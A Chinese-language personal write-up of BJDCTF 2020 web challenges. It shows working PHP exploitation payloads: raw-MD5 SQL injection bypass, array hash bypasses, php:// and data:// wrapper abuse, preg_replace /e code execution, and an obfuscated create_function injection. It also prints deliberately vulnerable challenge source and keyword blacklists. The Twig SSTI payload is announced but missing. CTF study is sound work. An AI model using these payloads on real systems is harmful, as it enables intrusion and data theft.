【Web】BJDCTF 2020 个人复现-编程知识

【Web】BJDCTF 2020 个人复现

①easy_md5

②ZJCTF，不过如此

③Cookie is so subtle!

④Ezphp

⑤The Mystery of IP

①easy_md5

ffifdyop绕过SQL注入

sql注入：md5($password,true)

右键查看源码

数组绕过

?a[]=1&b[]=2

跳转到levell14.php

同样是数组绕过

param1[]=1&param2[]=2

②ZJCTF，不过如此

伪协议

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

base64解码得next.php源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

深入研究preg_replace与代码执行

payload:

/next.php?\S*=${getFlag()}&cmd=phpinfo();

拿到flag

③Cookie is so subtle!

先在flag.php输入admin

在hint.php右键查看源码

bp抓包，看cookie

user=这部分就是我们在flag.php输入的内容

有SSTI的感觉了

尝试一下

掏出这张老图（）

三步试出来是Twig

Twig模板引擎注入

最终payload:

④Ezphp

进来右键查看源码

base32解码

访问/1nD3x.php

 <?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

这题考了：

url编码绕过QUERY_STRING的正则匹配

%0a换行绕过preg_match

EGPCS绕过$_REQUEST的字母匹配（记得清空cookie）

create_function()注入（$code不能一直只是小写字母和数字组成）

payload:

/1nD3x.php?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75a&sh%61na[]=1&p%61sswd[]=2&fl%61g[c%6fde]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//

post传：

debu=1&file=1

告诉了我们flag的路径

直接访问/rea1fl4g.php没有结果

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);

取反绕过关键词过滤

最终payload:

?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75a&sh%61na[]=1&p%61sswd[]=2&fl%61g[c%6fde]=create_function&fl%61g[%61rg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//